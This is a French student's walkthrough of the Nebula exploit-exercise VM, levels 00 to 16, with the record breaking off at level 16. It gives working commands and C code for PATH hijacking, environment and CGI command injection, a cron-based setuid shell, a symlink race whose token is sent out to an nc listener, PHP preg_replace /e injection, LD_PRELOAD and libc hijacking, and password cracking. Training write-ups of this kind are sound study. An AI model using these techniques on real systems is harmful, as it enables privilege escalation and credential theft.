Exploit exercices: Nebula

Thomas LE BOURLOT

11 Octobre 2015

Table des matières

1 Présentation du projet

1.1 Nebula

Nous avons été demandé d'effectuer vingts différents "exploits" ou attaques sur machine virtuelle Linux. Ces vingts différentes attaques sont réparties en vingts différents niveaux, et à chaque niveau correspond un compte d'utilisateur où se trouve un ou plusieurs fichier(s) à exploiter. La machine virtuelle "Nebula" et les détails la concernant se trouvent ici :
https ://exploit-exercises.com/nebula/

Le but de chaque niveau sera en partie d'effectuer la commande "getflag" en disposant des droits de l'utilisateur flag correspondant au niveau. Par exemple, lorsqu'on essaiera d'accomplir le niveau 05, on se connectera sur le compte utilisateur "level05", et on devra réussir à lancer la commande "getflag" en disposant des droits d'utilisateur de "flag05", ce qui est initialement impossible. Sur le compte flag05 se trouvent donc des fichiers, et en les analysant, on devra pouvoir trouver et mettre en place une attaque pour parvenir à lancer cette commande.

Une partie des attaques vise à prendre le contrôle d'un shell sur le compte flag correspondant, pour ensuite lancer la commande "getflag". On prendra bien soin de vérifier à chaque niveau qu'on usurpe l'identité de l'utilisateur flag correspondant à l'aide de la commande "id".

1.2 Nos premiers pas

Pour lancer la machine virtuelle, il faut au préalable avoir téléchargé le fichier "exploit-exercises-nebula-5.iso" et ensuite lancer la commande :

```
qemu-system-x86_64 -boot d -cdrom /tmp/exploit-exercises
-nebula-5.iso -m 512
```

Une fois la machine virtuelle lancée, on "perd" le contrôle de la souris sur notre session principale. Pour reprendre la souris, appuyer simultanément sur les touches :

CTRL + ALT

Pour mettre le clavier en AZERTY, il faut se connecter sur le compte root de la machine ayant pour login et password : "nebula", et lancer la commande :

```
nebula@nebula : sudo loadkeys fr
```

Maintenant que tout est en place, on peut quitter le compte root pour aller se connecter sur notre premier level et voir comment se passe notre première attaque.

nebula@nebula : **exit**

2 Les levels

Comme avec le compte root nebula, tous les levels possèdent le même mot de passe que leur nom d'utilisateur. Donc quand on voudra se connecter par exemple au compte level00 pour effectuer la première attaque, il faudra donc effectuer la saisie suivante :

nebula login : **level00** Password : **level00**

On gardera donc à l'esprit pour la suite du projet qu'entre chaque level, on change de compte (avec la commande "exit"), et que le couple (identifiant, password) associé à chaque level se comporte de la façon ci-dessus.

Comme nous avons effectué ces niveaux dans l'ordre, il y a un très net progrès dans la logique d'analyse, d'explication, et le déroulement des niveaux. Par exemple pour le level00, on va surtout comprendre comment marche la commande "getflag", et au fur et à mesure des niveaux, notre démarche et nos explications seront beaucoup plus construites.

2.1 Level00

On cherche un fichier exécutable appartenant a l'utilisateur flag00 (et on ne connait pas le nom du fichier). On va le chercher a la racine : /

level00@nebula : **find / -executable -type f -user flag00**

On a beaucoup d'information que l'on ne peut pas lire car le qemu ne le permet pas, donc on filtre ces informations.

level00@nebula : **find / -executable -type f -user flag00 2> /dev/null**

On sait maintenant ou se trouve l'exécutable : "/bin/.../flag00". Lorsque l'on lance la commande :

level00@nebula : **getflag**

sur notre session, on a le message suivant : "getflag is executing on a non-flag account, this doesn't count". Maintenant, on lance l'exécutable :

level00@nebula : **/bin/.../flag00**

et on reçoit le message "Congrats, now run getflag to get your flag !".

On se retrouve désormais connecté sur le compte de flag00, et on peut a nouveau tester la commande "getflag" :

flag00@nebula : **getflag**

et on recoit le message : "You have successfully executed getflag on a target account".

Pour recevoir notre uid :

flag00@nebula : **id**

"uid=999(flag00) gid=1001(level00) groups=999(flag00), 1001(level00)". L' User ID de flag00 est donc 999.

2.2 Level01

On remarque dans le fichier "/home/flag01/flag01" la ligne suivante :
" system("/usr/bin/env echo and now what ?") ; "
Le système fait appel a "echo" pour afficher un message en chargeant le path /usr/bin/env.
La vulnérabilité se trouve donc ici. Pour effectuer une attaque, il suffirait de changer le path.

level01@nebula : **PATH=/tmp :$PATH**

On notera que lorsque l'on effectue un "cat" pour lire le fichier "/home/flag01/flag01", l'affichage de la machine virtuelle bug complètement, à éviter donc. On peut en revanche se positionner dans le répertoire et afficher le message du fichier :

level01@nebula : **cd /home/flag01**
level01@nebula : **./flag01**

"
and now what ?
"

Magnifique ! Apres avoir effectue cette commande inutile, on peut procéder à l'attaque :

level01@nebula : **ln -s /bin/bash /tmp/level01**
level01@nebula : **echo -e '#!/bin/bash\n/tmp/level01' > /tmp/echo**
level01@nebula : **chmod +x /tmp/echo**

Et maintenant, il ne reste plus qu'à lancer le programme pour que l'attaque s'effectue. Preuve :

level01@nebula : **getflag**

"getflag is executing on a non-flag account, this doesn't count"

level01@nebula : **./flag01**

Et hop, on est connecté sur le compte de flag01.

flag01@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag01@nebula : **id**

"998"

2.3 Level02

Cette fois encore, on doit analyser le code d'un fichier pour trouver une potentielle attaque. Seulement cette fois, on a pas de chargement de l'echo dans le path. En revanche, la variable "USER" est appelée directement à partir de l'environnement. Il suffit donc de modifier cette variable en ce qui nous intéresse.

```
level02@nebula : cd /home/flag02
level02@nebula : USER=" ; /bin/bash #"
level02@nebula : ./flag02
```

Encore une fois, on se trouve connecté au compte de flag02.

```
flag02@nebula : getflag
```

"You have successfuly executed getflag on a target account"

```
flag02@nebula : id
```

"997"

2.4 Level03

On va commencer par analyser le code de "/home/flag03/writable.sh" pour comprendre ce qu'il se passe.

level03@nebula : **cd /home/flag03**
level03@nebula : **cat writable.sh**

```
"
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
"
```

Ce script va donc exécuter tout ce qui se trouve dans le dossier "/home/flag03/writable.d". On va donc chercher à ce que l'utilisateur "flag03" exécute un fichier que l'on aura créé contenant l'attaque grâce à ce script. Commençons par créer le fichier, par exemple "level03.c"

level03@nebula : **nano /tmp/level03.c**

```
"
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
  setresuid(996, 996, 996);
  setresgid(996, 996, 996);
  system("/bin/bash");
  return 0;
}
"
```

Pour l'uid = 996, on pouvait déjà s'en douter par rapport aux levels précédents mais on peut en avoir la preuve ici :

level03@nebula : **cat /etc/passwd**

Il reste maintenant à faire en sorte que l'utilisateur "flag03" compile notre fichier :

level03@nebula : **echo -e 'gcc -o /home/flag03/level03 /tmp/level03.c ;chmod +s,a+rwx /home/flag03/level03' > /home/flag03/writable.d/attaque ; chmod +x /home/flag03/writable.d/attaque**

On a créé un script bash "attaque" qui va être exécuté par le fichier "writable.sh" toutes les deux minutes. Ce script va compiler le fichier "/tmp/level03" et envoyer le binaire dans "/home/flag03/" de sorte que l'utilisateur "flag03" puisse l'exécuter. Après avoir attendu en moyenne deux minutes, notre fichier exécutable "level03" est créé.

level03@nebula : **./level03**

Et encore une fois, on se retrouve connecté sur le compte de flag03.

flag03@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag03@nebula : **id**

"996"

2.5 Level04

Le fichier "/home/flag04/flag04" vérifie qu'on passe bien un paramètre au fichier et que ce paramètre ne contient pas le terme "token". On veut donc faire en sorte de pouvoir exécuter ce programme en passant en paramètre le terme "token". La commande "ln" qui créer un lien symbolic nous permet de le faire : on envoie le contenu du fichier qu'on ne peut pas lire dans un autre fichier qu'on pourra lire.

```
level04@nebula : cd /home/flag04
level04@nebula : ln -s /home/flag04/token /tmp/level04
level04@nebula : ./flag04 /tmp/level04
```

"
06508b5e-8909-4f38-b630-fdb148a848a2
"

On a le contenu du token ce qui concernait l'intérêt principal du level. Il reste maintenant à exécuter le "getflag". Il se trouve que le contenu du fichier token est le mot de passe pour "flag04".

```
level04@nebula : ssh flag04@localhost
password : 06508b5e-8909-4f38-b630-fdb148a848a2
flag04@nebula : getflag
```

"You have successfuly executed getflag on a target account"

```
flag04@nebula : id
```

"995"

2.6 Level05

Grace a ls-alF, on voit qu'on a un accès en lecture du dossier ".backup/", dans lequel se trouve un fichier .tar que l'on va extraire dans "/home/level05".

```
level05@nebula : cd /home/flag05
level05@nebula : ls-alF
level05@nebula : cd .backup
level05@nebula : tar -xzvf backup-19072011.tgz -C /home/level05
```

On voit que les fichiers extraits sont des fichiers ssh sécurisés à l'aide de clés uniquement et donc ne nécessitant pas de mot de passe. Il nous suffit donc maintenant de nous connecter en ssh sur le compte flag05 :

```
level05@nebula : ssh flag05@localhost
```

On peut désormais obtenir le flag :

```
flag05@nebula : getflag
```

"You have successfuly executed getflag on a target account"

```
flag05@nebula : id
```

"994"

2.7 Level06

L'information "came from legacy UNIX systm" nous laisse à penser que les mots de passes sont encore stockés dans "/etc/passwd" avec un faible cryptage. Ils sont aujourd'hui stockés dans "/etc/shadow" et subissent une transformation à l'aide d'une fonction de hachage ce qui les rends inexploitables.

level06@nebula : **cat /etc/passwd**

Malheureusement, la fenêtre QEMU étant trop petite, on ne voit pas l'information recherchée pour le level06. On filtre donc l'information :

level06@nebula : **cat /etc/passwd | grep flag06**

"
flag06 :ueqwOCnSGdsuM :993 :993 : :/home/flag06 :/bin/sh
"

En effet, le mot de passe est bien stocké ici. Pour retrouver le clair, il existe un programme bien connu : John The Ripper. Il faut par contre l'installer.. On quitte donc le level06 pour aller sur le compte principal nebula.

level06@nebula : **exit**
nebula login : **nebula**
Password : **nebula**
nebula@nebula : **sudo apt-get install john**
nebula@nebula : **john /etc/passwd**

"
```
Loaded 1 password hash (Traditional DES [128/128 BS SS
E2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100.00% (2) c/s: 6275  try
ing: 12345 - biteme
```
"

On a donc le mot de passe de flag06 : "hello". Il nous reste donc à nous y connecter pour effectuer le getflag. (on va quand même s'y connecter à partir du level06 pour prouver qu'il n'y a pas de triche).

nebula@nebula : **exit**
nebula login : **level06**
Password : **level06**
level06@nebula : **ssh flag06@localhost**
password : **hello**
flag06@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag06@nebula : **id**

"993"

2.8 Level07

On peut voir que l'utilisateur flag07 a un serveur web en marche ainsi qu'un programme en perl permettant de ping des hosts pour voir s'ils etaient atteignables depuis le serveur web.

level07@nebula : **cd /home/flag07**
level07@nebula : **ls**
level07@nebula : **cat index.cgi**
level07@nebula : **cat thttpd.conf**

On voit dans le fichier "thttpd.conf" que le serveur tourne sur le port 7007. On envoie donc une requête http sur ce port en utilisant le programme perl et en prenant soin de mettre un host en paramètre :

level07@nebula : **wget -O- http ://localhost :7007/index.cgi ?Host =localhost**

Le programme s'effectue correctement seulement on aimerait qu'il fasse autre chose que de simplement envoyer des pings. Et c'est là la faiblesse du code de "index.cgi" : il n'y a aucune vérification sur le paramètre, on peut donc mettre ce que l'on veut. On va donc mettre " ;getflag" en paramètre host ce qui donne "%3bgetflag" en URL encode pour que cette commande soit lancée avec les droits de flag07.

level07@nebula : **wget -O- http ://localhost :7007/index.cgi ?Host =%3bgetflag**

```
"
--2015-09-30 03:22:32-- http://localhost:7007/index.cgi
?Host=%3bgetflag
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

[<=>                 ] 0         --.-K/s
<html><head><title>Ping results</title></head><body><pr
e>You have successfully executed getflag on a target ac
count
[<=>                 ] 136       764B/s in 0.2s

2015-09-30 03:22:33 (764 B/s) - written to stdout [136]
```

"

Oui oui, on a bien eu le message "You have successfully executed getflag on a target account". Alors certes on n'est pas directement connecté sur le compte de flag07 comme les levels précédents mais c'est tout comme ! On peut envoyer n'importe quelle commande sur le compte de flag07, en se faisant passer pour flag07.

On n'oublie pas notre petit uid qui vient prouver nos résultats :

level07@nebula : **wget -O- http ://localhost :7007/index.cgi ?Host =%3bid**

```
"
[<=>                ] 0         --.-K/s
<html><head><title>Ping results</title></head><body><pr
e>uid=992(flag07) gid=992(flag07) groups=992(flag07)
[<=>                ] 128       764B/s in 0.1s
"
```

Je m'étais dans un premier temps arrêté ici, mais après avoir fait le level16 qui est très similaire, et après avoir progressé tout au long des levels, j'ai voulu aller plus loin pour que nos résultats soient plus propres. On va cette fois-ci entrer " ;getflag > /tmp/level07 ; id » /tmp/level07" comme hostname ce qui donne "%3Bgetflag%20%3E%20%2Ftmp%2Flevel07%3B%20id%20%3E%3E%20%2Ftmp%2Flevel07" en URL encode.

level07@nebula : **wget -O- http ://localhost :7007/index.cgi ?Host =%3Bgetflag%20%3E%20%2Ftmp%2Flevel07%3B%20id%20%3E%3E%20%2Ftmp%2Flevel07**
level07@nebula : **cat /tmp/level07**

```
"
You have successfully executed getflag on a target account
uid=992(flag07) gid=992(flag07) groups=992(flag07)
"
```

2.9 Level08

Lorsque l'on regarde les fichiers dans le /home de flag08, on y trouve un fichier .pcap (packet capture) qui capture des paquets à travers un trafic réseau (surement une attaque de type MAN-IN-THE-MIDDLE).

level08@nebula : **cd /home/flag08**
level08@nebula : **ls**

"
capture.pcap
"

On analyse donc cette capture à l'aide de wireshark par exemple, que l'on doit auparavant installer comme précédemment :

level08@nebula : **exit**
nebula login : **nebula**
Password : **nebula**
nebula@nebula : **sudo apt-get install wireshark**

Apparemment, il y a quelques problèmes pour l'installation de wireshark sur la machine virtuelle, nous allons donc l'ouvrir sur notre session. Une fois wireshark ouvert, il faut ouvrir le fichier "capture.pcap" et sélectionner un paquet tcp, cliquer sur Analyse->"Follow TCP Stream" et là on peut voir en clair :

"
```
login: level8
Password: backdoor...00Rm8.ate
Login incorrect
```
"

Or, le mot de passe n'est pas tout à fait "backdoor...00Rm8.ate". En effet, le "." indique la touche "retour" du clavier. La saisie finale est donc : "backd00Rmate" avec 0=zero. On se connecte donc au flag08 (a partir de level08 encore une fois pour montrer qu'il n'y a pas de triche) :

nebula@nebula : **exit**
nebula login : **level08**
Password : **level08**
level08@nebula : **ssh flag08@localhost**
password : **backd00Rmate**
flag08@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag08@nebula : **id**

"991"

2.10 Level09

Le programme donné prend en premier paramètre un fichier, lit son contenu, et affiche son contenu après avoir effectué quelques modifications.

```
level09@nebula : cd /home/flag09
level09@nebula : ls
level09@nebula : cat flag09.php
```

La faiblesse de ce programme réside dans l'utilisation d'une fonction sensible niveau sécurité "preg_replace" et du "e" de la ligne "$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);". Ce "e" est en fait "PREG_REPLACE_EVAL" mais n'existe plus depuis PHP 7.0.0. (voir : http ://php.net/manual/fr/reference.pcre.pattern.modifiers.php). On va donc jouer avec la variable "$use_me" qui se trouve être le second argument qu'on entre pour le programme. Au lieu d'entrer une adresse mail, on va par exemple pouvoir entrer notre getflag.

```
level09@nebula : echo "[email {\${system(\$use_me)}}]" >
 /tmp/level09
level09@nebula : ./flag09 /tmp/level09 getflag
```

"

You have successfully executed getflag on a target account

"

Par contre, il nous reste encore un problème, on usurpe pas l'uid de flag09, mais il est bien present dans le group avec nous.

```
level09@nebula : ./flag09 /tmp/level09 id
```

"

uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09), 1010(level09)

"

Solution : écrire un petit programme qu'on placera en tant que deuxième paramètre.

```
level09@nebula : nano /tmp/getUID.c
```

"

```
#include <stdlib.h>
#include <unistd.h>

int main() {
  int euid = geteuid();
```

```
  setresuid(euid, euid, euid);
  system("id");
  return 0;
}
"
```

level09@nebula : **gcc -std=c99 -o /tmp/getUID /tmp/getUID.c**
level09@nebula : **./flag09 /tmp/level09 /tmp/getUID**

```
"
uid=990(flag09) gid=990(flag09) euid=990(flag09) groups=990(flag09)
"
```

On peut également ouvrir un shell avec flag09 comme utilisateur pour rester dans le même esprits que les levels précédents :

level09@nebula : **nano /tmp/shell09.c**

```
"
#include <stdlib.h>
#include <unistd.h>

int main() {
  int euid = geteuid();
  setresuid(euid, euid, euid);
  system("/bin/bash");
  return 0;
}
"
```

level09@nebula : **gcc -std=c99 -o /tmp/shell09 /tmp/shell09.c**
level09@nebula : **./flag09 /tmp/level09 /tmp/shell09**

Et on se trouve connecté sur flag09.

flag09@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag09@nebula : **id**

"990"

2.11 Level10

Ce programme présente une faiblesse de sécurité répartie sur deux lignes :
"
if(access(argv[1], R_OK) == 0)
"
et
"
ffd = open(file, O_RDONLY);
"
En fait le programme vérifie au début si l'utilisateur actuel a accès au fichier, et si oui, il estime que cet utilisateur y a toujours accès pour la suite du programme. Nous allons donc présenter le bon fichier au début du programme pour la vérification, et nous allons ensuite changer le lien symbolique d'un fichier qui nous appartient avant l'ouverture du fichier. La seule contrainte qu'on a : on a un créneau de temps assez faible pour le faire. Solution : spammer énormément de fois une commande et miser sur la chance qu'à un moment ou un autre, la commande passera entre le "access" et le "open". Nous allons donc pour cela mettre en place un listener sur un autre terminal (on ne peut pas le faire sur un deuxième terminal de nebula) et attendre de voir le fichier token en prenant soin de récupérer l'adresse IP de notre terminal listener. Pour ce test, nous utiliserons la machine "@verde" du crémi qui a pour adresse IP "10.0.4.50".

Après toutes ces explications, passons a la pratique !
Mise en place du listener sur le port 18211 du programme :

```
tholebourlot@verde : /sbin/ifconfig
```

"
10.0.4.50
"

```
tholebourlot@verde : while : ; do nc -l -p 18211 ; done
```

Commençons par tester le programme avec notre listener :

```
level10@nebula@verde : cd /home/flag10
level10@nebula@verde : touch /tmp/fake_token
level10@nebula@verde : ./flag10 /tmp/fake_token 10.0.4.50
```

On doit normalement recevoir quelque chose sur notre listener. On va maintenant spam une commande pour faire croire au programme qu'on a

accès au fichier "/home/flag10/token" à l'aide de liens symboliques :

level10@nebula@verde : **while : ; do ln -f -s /tmp/fake_token /tmp/level10 ; ./flag10 /tmp/level10 10.0.4.50 & ln -f -s /home/flag10/token /tmp/level10 ; done**

Une fois qu'on a assez écouté, ctrl+c. Et là on peut lire sur notre listener le contenu du fichier "/home/flag10/token" auquel on n'avait pas accès :
"
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
"

Qui est en fait le mot de passe de flag10 :

level10@nebula@verde : **ssh flag10@localhost**
password : **615a2ce1-b2b5-4c76-8eed-8aa5c4015c27**
flag10@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag10@nebula : **id**

"989"

2.12 Level11

Le code lit le contenu de stdin, vérifie le "Content-Length", et lit la taille d'un entier. La taille spécifiée dans Content-Length header est supérieure à 1024. Pour effectuer une attaque, nous devrons créer un programme avec un header valide et avec un contenu d'une taille supérieure ou égale à 1024. Il nous restera à crypter la commande que nous voulons lancer suivie d'un bit null et compléter le rester des 1024 blocks avec ce que l'on veut. Voici à quoi ressemble notre fichier :

```
level11@nebula : nano /tmp/level11.c
```

```
"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
  int length = 1024;
  char buffer[1024];

  strncpy(buffer, "getflag", length);

  unsigned int key = length & 0xff;
  for (int i = 0; i < length; i++)
  {
    buffer[i] ^= key;
    key -= buffer[i] ^ key;
  }

  puts("Content-Length: 1024");
  fwrite(buffer, 1, length, stdout);

  return 0;
}
"
```

```
level11@nebula : gcc -std=c99 -o /tmp/level11 /tmp/level11.c
level11@nebula : export TEMP=/tmp
```

Lançons maintenant l'attaque :

```
level11@nebula : /tmp/level11 | /home/flag11/flag11
```

"getflag is executing on a non-flag account, this doesn't count"

Ca aurait du marcher. Mais il semble que le level soit irréalisable à cause du fait que l'appel système n'est pas précédé par l'uid/gid/euid de flag11. Donc tout ce que le programme va effectuer le sera avec l'uid/gid/euid de celui qui lance le programme, à savoir nous (level11). Voici le manpage de system() qui le mentionne :
"
Do not use system() from a program with set-user-ID or set-group-ID privileges, because strange values for some environment variables might be used to subvert system integrity. Use the exec(3) family of functions instead, but not execlp(3) or execvp(3). system() will not, in fact, work properly from programs with set-user-ID or set-group-ID privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup. (Debian uses a modified bash which does not do this when invoked as sh.)
"

J'ai essayé de contourner le problème par plusieurs moyens mais sans succès. Sauf erreur de ma part, il semblerait que ce soit un bug.

2.13 Level12

On dispose d'un programme backdoor qui écoute sur le port 50001. Ce programme présente une faiblesse de sécurité a la ligne :
"
prog = io.popen("echo "..password.." | sha1sum", "r")
"
Lorsque le mot de passe sera demandé, notre saisie va être directement envoyé par echo à sha1sum pour obtenir le SHA1 de ce mot de passe. Le hash obtenu est ensuite compare au hash requis. On n'a donc pas besoin de saisir le mot de passe original ; et on peut par exemple saisir une ligne de commande qui obtiendra les droits de la personne a qui appartient le programme, a savoir flag12.

```
level12@nebula : cd /home/flag12
level12@nebula : nc localhost 50001
Password : $(getflag), $(id) > /tmp/level12
level12@nebula : cat /tmp/level12
```

"
You have successfully executed getflag on a target account, uid=987(flag12) gid=987(flag12) groups=987(flag12)
"

2.14 Level13

Le programme vérifie que notre uid est FAKEUID=1000 à l'aide de getuid(). Si c'est le cas, on reçoit notre token ce qui annonce la fin du level 13. Deux choix semblent s'offrir à nous pour cette attaque : faire en sorte que FAKEUID soit notre uid, ou faire en sorte que getuid() retourne 1000. Il se trouve qu'on peut effectivement surcharger une fonction en utilisant "LD_PRELOAD", et donc faire en sorte que getuid() renvoie 1000 au lieu de 1014, mais ce serait bien moins amusant. On va donc chercher a modifier la valeur de FAKEUID ou celle rendu par getuid(). Pour se faire, et en utilisant des éléments du cours de sécurité-logicielle, on va utiliser l'assembleur.

```
level13@nebula : cd /home/flag13
level13@nebula : gdb flag13 -q
```

On va maintenant afficher le contenu du main pour mieux comprendre ce qu'il se passe :

```
(gdb) b main
(gdb) r
(gdb) disass
```

```
"
0x80484ef <main+43>:    call   0x80483c0 <getuid@plt>
0x80484f4 <main+48>:    cmp    $0x3e8,%eax
"
```

On voit qu'en main+43, il y a l'appel de getuid(). En main+48, le programme compare 0x3e8 (= 1000 en decimal) avec la valeur de getuid() stockées dans $eax. Il suffit donc de modifier la valeur de $eax (qui normalement doit être 1014) en 1000 à la position main+48.

```
(gdb) b *main + 48
(gdb) c
(gdb) set $eax = 1000
(gdb) c
```

```
"
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
"
```

Et voila, on termine donc ce level en se connectant sur flag13 :

```
(gdb) q
level13@nebula : ssh flag13@localhost
Password : b705702b-76a8-42b0-8844-3adabbe5ac58
flag13@nebula : getflag
```

"You have successfuly executed getflag on a target account"

```
flag13@nebula : id
```

"986"

Nous allons quand même travailler la méthode avec les LD_PRELOAD car elle est intéressante. La voici :

Nous allons donc surcharger la méthode getuid(). Commençons par créer la méthode qui va usurper notre uid :

```
level13@nebula : cd /home/flag13
level13@nebula : nano /tmp/level13.c
```

```
"
#include <sys/types.h>
uid_t getuid() {
        return 1000;
}
"
```

Compilons maintenant le programme en créant une librairie partagée :

```
level13@nebula : gcc -shared -fPIC /tmp/level13.c -o /tmp/le
vel13.so
```

Il faut maintenant que l'UID du programme "flag13" soit le même que l'UID de notre programme "level13.so". Il faut par exemple qu'il se trouve sur le même compte d'utilisateur. Encore deux choix s'offrent a nous : envoyer une copie de "flag13" chez nous, ou envoyer notre "level13.so" chez lui. Dans un schéma fidèle à la réalité, on enverrai notre "virus" chez la victime. Mais pour les besoins de ce level, on va effectuer un simple cp de son programme vers chez nous :

```
level13@nebula : cp ./flag13 /tmp
```

Et exécution du programme avec un UID falsifié :

```
level13@nebula : LD_PRELOAD=/tmp/level13.so /tmp/flag13
```

"
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
"

Et on peut se connecter sur flag13 comme précédemment :

level13@nebula : **ssh flag13@localhost**
Password : **b705702b-76a8-42b0-8844-3adabbe5ac58**
flag13@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag13@nebula : **id**

"986"

2.15 Level14

Commençons par analyser le token :

```
level14@nebula : cd /home/flag14
level14@nebula : cat ./token
```

```
"
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
"
```

Le contenu de ce fichier semble être le mot de passe de flag14 car il ressemble au format des précédents mots de passe : "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" avec x un nombre hexadécimal.
Seulement on sait qu'il est chiffré. A priori, les modifications qu'il a reçu n'ont pas changées la taille du mot de passe. On peut également déduire que les 4 "-" ont été remplacés par "5 :? D". Tout laisse à penser qu'un simple algorithme a été utilisé pour le chiffrement. Poussons l'analyse encore plus loin en effectuant autant de tests que nécessaires pour pour confirmer notre hypothèse, ou continuer les recherches.
Après plusieurs tests, l'un d'eux s'est trouvé plus que révélateur :

```
level14@nebula : echo -n "aaaaaaaaaaaaaaaa" | ./flag14 -e; echo
""
```

```
"
abcdefghijklmnopq
"
```

Il s'agit donc bien d'un algorithme, et qui plus est très simple. Il incrémente chaque caractère par son index. On pourrait donc retrouver le mot de passe à la main, mais ce ne ferait pas très sérieux. On va donc écrire un petit programme qui va le faire à notre place :

```
level14@nebula : nano /tmp/level14.c
```

```
"
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
  for (int i = 0; i < strlen(argv[1])-1; i++)
  {
    printf("%c", argv[1][i] - i);
  }
```

```
    printf("\n");
}
"
```

level14@nebula : **gcc -std=c99 -o /tmp/level14 /tmp/level14.c**
level14@nebula : **/tmp/level14 $(cat ./token)**

```
"
8457c118-887c-4e40-a5a6-33a25353165
"
```

Et on finalise le tout :

level14@nebula : **ssh flag14@localhost**
Password : **8457c118-887c-4e40-a5a6-33a25353165**
flag14@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag14@nebula : **id**

"985"

2.16 Level15

Commençons par analyser la strace de "flag15" comme demandé :

level15@nebula : **cd /home/flag15**
level15@nebula : **strace ./flag15**

On reçoit pas mal d'information et ce qu'on peut en tirer est qu'il semble que le binaire essaie de charger "lib.so.6" à partir de différentes locations dont "/var/tmp/flag15" dont on a les droits d'écriture. Et vu que le chargement échoue, le binaire fini par charger la librairie libc (/lib/i386-linux-gnu/libc.so.6), puis ecrit "strace it" et se termine. Tout laisse à penser qu'on doit écrire notre propre librairie "lib.so.6" qu'on placera dans "/var/tmp/-flag15" et qui nous permettra d'arriver à nos fins. Alors que mettre dans cette librairie ? On continue nos recherches en analysant le binaire.

level15@nebula : **objdump -p ./flag15**
level15@nebula : **objdump -R ./flag15**

Encore une bouffée d'information ! Le binaire a été compile avec "RPATH" , doit être compatible avec "GLIBC_2.0", et doit utiliser une méthode parmi lesquels se trouve "__libc_start_main" que l'on reprendra. C'est parti, allons créer notre librairie.

level15@nebula : **cd /var/tmp/flag15**
level15@nebula : **nano level15.c**

```
"
#include <linux/unistd.h>

int __libc_start_main(int (*main) (int, char **,
char **), int argc, char *argv, void (*init) (void),
void (*fini) (void), void (*rtld_fini) (void),
void *stack_end) {
  system("getflag");
}
"
```

level15@nebula : **gcc -shared -fPIC -o libc.so.6 level15.c**
level15@nebula : **/home/flag15/flag15**

Un message d'erreur nous indique qu'il nous manque le symbole "__cxa _finalize", que l'on va donc ajouter. On va également ajouter la comptabilité avec "GLIBC_2.0".

level15@nebula : **nano level15.c**

```
"
#include <linux/unistd.h>

void __cxa_finalize (void *d) {
  return;
}

int __libc_start_main(int (*main) (int, char **,
char **), int argc, char *argv,  void (*init) (void),
void (*fini) (void), void (*rtld_fini) (void),
void *stack_end) {
  system("getflag; id");
}
"
```

level15@nebula : **nano version**

```
"
GLIBC_2.0 { };
"
```

level15@nebula : **gcc -shared -fPIC -o libc.so.6 level15.c -Wl,–version-script=version**
level15@nebula : **/home/flag15/flag15**

Un autre message d'erreur nous indique qu'il y a une erreur de location pour "GLIBC_2.0". On le corrige dans la compilation.

level15@nebula : **gcc -fPIC -shared -static-libgcc -Wl,–version-script=version,-Bstatic -o libc.so.6 level15.c**
level15@nebula : **/home/flag15/flag15**

```
"
You have successfully executed getflag on a target account
uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),
"
```

Comme dans le level09, flag15 est bien dans notre groupe mais on usurpe pas son uid. Solution : comme dans le level09, on récupère l'uid de flag15 et on met notre uid égale à la sienne. Ah et oui au passage, on a récupéré le flag après toutes ces heures. Félicitation j'imagine.

level15@nebula : **nano level15.c**

```
"
#include <linux/unistd.h>

void __cxa_finalize (void *d) {
  return;
}

int __libc_start_main(int (*main) (int, char **,
char **), int argc, char *argv,  void (*init) (void),
void (*fini) (void), void (*rtld_fini) (void),
void *stack_end) {
  int euid = geteuid();
  setresuid(euid, euid, euid);
  system("getflag; id");
}
"
```

level15@nebula : **gcc -fPIC -shared -static-libgcc -Wl,–version-script=version,-Bstatic -o libc.so.6 level15.c**
level15@nebula : **/home/flag15/flag15**

```
"
You have successfully executed getflag on a target account
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
"
```

On pourrait dire que le level est terminé, mais pour rester dans l'optique d'obtenir un bash comme dans les autres levels :

level15@nebula : **nano level15.c**

```
"
#include <linux/unistd.h>

void __cxa_finalize (void *d) {
  return;
}

int __libc_start_main(int (*main) (int, char **,
char **), int argc, char *argv,  void (*init) (void),
void (*fini) (void), void (*rtld_fini) (void),
void *stack_end) {
```

```
    int euid = geteuid();
    setresuid(euid, euid, euid);
    system("/bin/bash");
}
"
```

level15@nebula : **gcc -fPIC -shared -static-libgcc -Wl,–version-script=version,-Bstatic -o libc.so.6 level15.c**
level15@nebula : **/home/flag15/flag15**

Et on se trouve connecté sur flag15 :

flag15@nebula : **getflag**

"You have successfuly executed getflag on a target account"

flag15@nebula : **id**

"984"

2.17 Level16

Commençons par analyser le programme :

```
level16@nebula : cd /home/flag16
level16@nebula : cat index.cgi
```

```
"
$username =~ tr/a-z/A-Z/; # convert to uppercase
$username =~ s/\s.*//; # strip everything after a space
"
```

Ces deux lignes nous indiquent que toute lettre minuscule de notre saisie sera transformée en majuscule, et qu'après un espace la saisie n'est pas prise en compte. Ensuite la ligne :

```
"
@output = `egrep "^$username" /home/flag16/userdb.txt 2
>&1`;
"
```

nous indique que notre saisie doit se faire après un egrep.

Pour simplifier notre saisie, on va créer un fichier c comme pour la plupart des précédents levels :

```
